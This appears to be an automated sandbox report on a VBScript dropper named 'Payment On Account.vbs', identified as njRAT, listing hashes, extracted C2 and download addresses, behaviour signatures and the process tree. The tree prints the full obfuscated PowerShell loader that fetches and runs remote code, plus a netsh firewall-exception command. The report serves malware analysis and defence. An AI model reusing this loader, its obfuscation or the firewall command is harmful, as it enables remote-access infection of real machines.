Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    16-09-2021 02:51

General

  • Target

    Payment On Account.vbs

  • Size

    3KB

  • MD5

    48f019f8bdb3fce7e44649974ab2330f

  • SHA1

    25ce8749a17bf094e49673141032aa7b4e3893cb

  • SHA256

    982d8d494fe7ddecd60b8237affaf2da1399122099dae6b615bb9b6904ba0379

  • SHA512

    0387aee4aa180441e42fcbc35d46e16e889706a57be37e8b59f595efa8895b2b096e47738bcd626c0b4d8a9df942edf3162dbbd7f26315d5f5a47081c3c47480

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://54.184.87.30/Server.txt

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

C2

103.147.184.73:8319

Mutex

98d5ec0a408febb60524eab801ba601c

Attributes
  • reg_key

    98d5ec0a408febb60524eab801ba601c

  • splitter

    |'|'|

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Blocklisted process makes network request 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment On Account.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://54H-H184H-H87H-H30/ServerH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!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3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3976
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3176
        • C:\Windows\SysWOW64\netsh.exe
          netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE
          4⤵
            PID:372

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    1
    T1031

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/372-143-0x0000000000000000-mapping.dmp
    • memory/3176-144-0x0000000005020000-0x0000000005021000-memory.dmp
      Filesize

      4KB

    • memory/3176-132-0x0000000000400000-0x000000000040C000-memory.dmp
      Filesize

      48KB

    • memory/3176-147-0x00000000051F0000-0x00000000051F1000-memory.dmp
      Filesize

      4KB

    • memory/3176-146-0x0000000004FC0000-0x0000000004FC1000-memory.dmp
      Filesize

      4KB

    • memory/3176-133-0x000000000040746E-mapping.dmp
    • memory/3176-145-0x0000000004D80000-0x0000000004E1C000-memory.dmp
      Filesize

      624KB

    • memory/3176-142-0x00000000053C0000-0x00000000053C1000-memory.dmp
      Filesize

      4KB

    • memory/3176-141-0x0000000004E20000-0x0000000004E21000-memory.dmp
      Filesize

      4KB

    • memory/3976-130-0x00000206B20A6000-0x00000206B20A8000-memory.dmp
      Filesize

      8KB

    • memory/3976-122-0x00000206B2230000-0x00000206B2231000-memory.dmp
      Filesize

      4KB

    • memory/3976-119-0x0000020699C20000-0x0000020699C21000-memory.dmp
      Filesize

      4KB

    • memory/3976-114-0x0000000000000000-mapping.dmp
    • memory/3976-131-0x00000206B21E0000-0x00000206B21E4000-memory.dmp
      Filesize

      16KB

    • memory/3976-124-0x00000206B20A3000-0x00000206B20A5000-memory.dmp
      Filesize

      8KB

    • memory/3976-123-0x00000206B20A0000-0x00000206B20A2000-memory.dmp
      Filesize

      8KB